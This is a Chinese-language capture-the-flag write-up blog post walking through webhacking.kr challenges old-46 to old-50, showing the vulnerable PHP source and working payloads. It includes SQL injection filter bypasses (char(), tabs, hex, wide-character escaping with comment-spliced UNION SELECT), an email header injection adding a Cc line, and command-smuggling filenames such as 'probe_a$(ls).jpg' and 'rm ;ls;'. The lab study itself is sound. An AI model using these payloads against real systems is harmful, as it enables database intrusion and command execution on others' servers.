webhacking.kr 一天五題系列 X

Albert Huang MED student | CS enthusiast

old-46

本題考點:SQLi with WAF bypass、char() 繞過

又是一題 SQL Injection,來看一下 source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 46</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get>
level : <input name=lv value=1><input type=submit>
</form>
<hr><a href=./?view_source=1>view-source</a><hr>
<?php
if($_GET['lv']){
$db = dbconnect();
$_GET['lv'] = addslashes($_GET['lv']);
$_GET['lv'] = str_replace(" ","",$_GET['lv']);
$_GET['lv'] = str_replace("/","",$_GET['lv']);
$_GET['lv'] = str_replace("*","",$_GET['lv']);
$_GET['lv'] = str_replace("%","",$_GET['lv']);
if(preg_match("/select|0x|limit|cash/i",$_GET['lv'])) exit();
$result = mysqli_fetch_array(mysqli_query($db,"select id,cash from chall46 where lv=$_GET[lv]"));
if($result){
echo("{$result['id']} information<br><br>money : {$result['cash']}");
if($result['id'] == "admin") solve(46);
}
}
?>
</body>
</html>

一樣是要讓 id = admin,來看一下 lv 輸入的限制:

  1. ' 會經過 addslashes 跳脫
  2. /*% 直接替代為空
  3. select0xlimitcash 為 regex 限制

因為會跳脫引號,因此使用 char() 來代替,然後 會被替代為空,因此使用 tab %09 來替代。

構造 payload 如下:

1
2
select id,cash from chall46 where lv=0%09or%09id=char(97,100,109,105,110)
= select id,cash from chall46 where lv=0 or id='admin'

送出即可過關。

old-47

本題考點:Email Header Injection / SMTP Injection with CRLF

看起來是一個寄信的 SMTP 系統,來看一下 source code:

1
2
3
<form method="post" name="mailfrm">
Mail subject : <input type="text" name="subject" size="50" value="Flag of webhacking.kr old-47 chall" maxlength="50"><input type="submit" value="send">
</form>

看起來他會直接把 value 裡的東西塞到 subject 欄位裡面,裡面會有 flag,但我們收不到信,因此將 input 改成 textarea 後,下面新增一行 Cc: <my_mail> 來讓設定變成會將副本寄給我們試試看:

1
2
M3t30r
Cc: <my_mail>

但它不是把信直接寄給我反而是把 flag 印出來到網頁上,有點奇怪。

old-48

本題考點:OS Command Injection

這題看起來是個上傳檔案的網站,嘗試上傳 webshell 但它不會執行 .php 因此無效,不過他還有一個留言的功能,來看一下下面的留言:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15:48:13	
claude-wong test_cmd_inject
15:47:51
claude-wong probe_a`ls`.jpg
15:47:51
claude-wong probe_a.html
15:47:51
claude-wong probe_../etc/pas
15:47:51
claude-wong probe_a.php
15:47:50
claude-wong probe_a;ls.jpg
15:47:50
claude-wong probe_a$(ls).jpg

看起來很像在提示 Command Injection,而在上傳檔案刪除之後會顯示一個通知的頁面,所以可能可以嘗試將 filename 進行 Command Injection,結構可能如下:

1
2
rm {filename};
-> rm ;ls;

上傳後刪除即可拿到 flag

old-49

本題考點:SQLi with WAF bypass

看起來跟 old-46 很像,來看一下 source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 49</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get>
level : <input name=lv value=1><input type=submit>
</form>
<?php
if($_GET['lv']){
$db = dbconnect();
if(preg_match("/select|or|and|\(|\)|limit|,|\/|order|cash| |\t|\'|\"/i",$_GET['lv'])) exit("no hack");
$result = mysqli_fetch_array(mysqli_query($db,"select id from chall49 where lv={$_GET['lv']}"));
echo $result[0] ;
if($result[0]=="admin") solve(49);
}
?>
<hr><a href=./?view_source=1>view-source</a>
</body>
</html>

其實就只是把 regex 改得更嚴格,所以拿原本的 payload 來改即可,來看一下原本的 payload:

1
0%09or%09id=char(97,100,109,105,110)

更換 or||,然後這次是限制 () 反而沒有 0x,所以改成 hex 表示即可,最後這次限制了 tab 所以直接刪除。

1
0||id=0x61646d696e

old-50

本題考點:寬字元 SQLi、/*...*/ 註解

這題頁面跟 old-45 很像,來看一下 source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 50</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get>
id : <input name=id value='guest'><br>
pw : <input name=pw value='guest'><br>
<input type=submit>&nbsp;&nbsp;&nbsp;<input type=reset>
</form>
<?php
if($_GET['id'] && $_GET['pw']){
$db = dbconnect();
$_GET['id'] = addslashes($_GET['id']);
$_GET['pw'] = addslashes($_GET['pw']);
$_GET['id'] = mb_convert_encoding($_GET['id'],'utf-8','euc-kr');
foreach($_GET as $ck) if(preg_match("/from|pw|\(|\)| |%|=|>|</i",$ck)) exit();
if(preg_match("/union/i",$_GET['id'])) exit();
$result = mysqli_fetch_array(mysqli_query($db,"select lv from chall50 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')"));
if($result){
if($result['lv']==1) echo("level : 1<br><br>");
if($result['lv']==2) echo("level : 2<br><br>");
}
if($result['lv']=="3") solve(50);
if(!$result) echo("Wrong");
}
?>
<hr><a href=./?view_source=1>view-source</a>
</body>
</html>

我們的目標是讓 $result['lv']=3。其中,我們可以用與 old-45 一樣的方法來讓跳脫的 \' 變成合法的 ',以此類推。而 regex 限制如下:

  1. id & pwfrompw() %=><
  2. idunion

嘗試一下在 id 注入 lv like 3#,並使用 tab 來替代掉空白:

1
2
select lv from chall50 where id='%aa\' or lv like 3#' and pw=md5('{$_GET['pw']}')
= select lv from chall50 where id='' or lv like 3

但顯示為 Wrong,因此表示 lv=3 是空的,我們需要自己造一個給他。但 id 不能注入 union,因此從 pw 下手,而他沒有特別針對 \/* 進行限制,因此我們可以利用註釋 /*...*/ 來讓 md5() 消失,並且一樣把空白換成 tab:

1
2
select lv from chall50 where id='%aa\'/*' and pw=md5('*/union select 3#')
= select lv from chall50 where id=''union select 3

送出參數即可過關。

  • Title: webhacking.kr 一天五題系列 X
  • Author: Albert Huang
  • Created at : 2026-06-25 14:12:51
  • Updated at : 2026-06-26 14:08:16
  • Link: https://blog.albert-web.tw/2026/06/25/webhacking-writeup-10/
  • License: This work is licensed under CC BY-NC-SA 4.0.
On this page
webhacking.kr 一天五題系列 X